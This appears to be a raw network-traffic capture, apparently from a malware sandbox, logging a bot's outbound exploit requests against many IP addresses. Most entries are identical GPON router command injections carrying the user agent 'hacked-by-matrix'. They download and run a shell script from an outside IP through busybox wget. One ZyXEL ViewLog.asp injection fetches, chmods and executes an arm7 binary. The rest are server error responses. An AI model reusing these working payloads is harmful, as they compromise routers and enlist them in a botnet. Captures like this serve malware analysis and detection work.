Mar 2, 2024 12:38:28.203429937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.23	59112	178.180.240.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203438997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.23	46926	42.105.219.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203461885 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.23	60540	210.31.178.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203469038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.23	40124	2.170.238.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203495026 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.23	55056	94.20.255.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203509092 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.23	43904	212.36.192.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203567982 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.23	41188	212.185.9.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203568935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.23	37920	79.46.184.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203572989 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.23	39034	37.251.117.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203639030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.23	56890	118.86.172.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203677893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.23	35438	42.207.68.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203722954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.23	50546	80.94.3.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.270823956 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:28.462812901 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:28.462850094 CET	316	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 31 20 4d 65 74 68 6f 64 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>501 Method Not Implemented</title></head><body><h1>Method Not Implemented</h1><p>&remoteSubmit=Save to / not supported.<br /></p><hr><address>Apache/2.2.16 (Debia
Mar 2, 2024 12:38:28.829631090 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:28.992971897 CET	316	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 31 20 4d 65 74 68 6f 64 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>501 Method Not Implemented</title></head><body><h1>Method Not Implemented</h1><p>&remoteSubmit=Save to / not supported.<br /></p><hr><address>Apache/2.2.16 (Debia
Mar 2, 2024 12:38:29.227397919 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:29.629406929 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:30.058665991 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:30.443171978 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:30.851618052 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
